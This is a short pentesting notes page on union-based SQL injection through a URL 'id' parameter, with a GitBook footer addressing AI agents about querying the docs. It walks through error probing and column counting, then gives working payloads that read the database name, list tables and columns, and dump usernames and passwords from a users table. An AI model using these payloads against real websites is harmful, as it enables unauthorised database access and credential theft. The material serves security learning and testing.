> For the complete documentation index, see [llms.txt](https://itrp19-notes.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/sql-injection/sql-injection-in-the-url.md).

# SQL Injection In The URL

### SQL Injection In The URL

Say we have the below URL

```
http://sumwebsite.com/profile?id=1
```

First we produce an error with either \['] or \[''] and see how the web app reacts. The next step is to determine the number of columns. An example payload for that is below

```
1 UNION SELECT 1,2,3
```

You need to keep adding numbers until there is no error back as an output. Once there is no error, your last query dictates the number of columns. Next step is to start crafting your payloads to dumps columns and tables from the database. Make sure to change the URL id to a non-existent value like \[0] in the above case. Example payload to determine the database type assuming we got three columns.

```
0 UNION SELECT 1,2,database()
```

Example payload to display tables

```
0 UNION SELECT
1,2,group_concat(table_name) FROM
information_schema.tables WHERE
table_schema = 'hacked'
```

Example payload to display columns of the table \[hacked]

{% code overflow="wrap" %}

```
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'hacked'
```

{% endcode %}

Example payload to dump username and password from table \[users] in \[hacked]

```
0 UNION SELECT
1,2,group_concat(username,':',password
SEPARATOR '<br>') FROM users
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/sql-injection/sql-injection-in-the-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
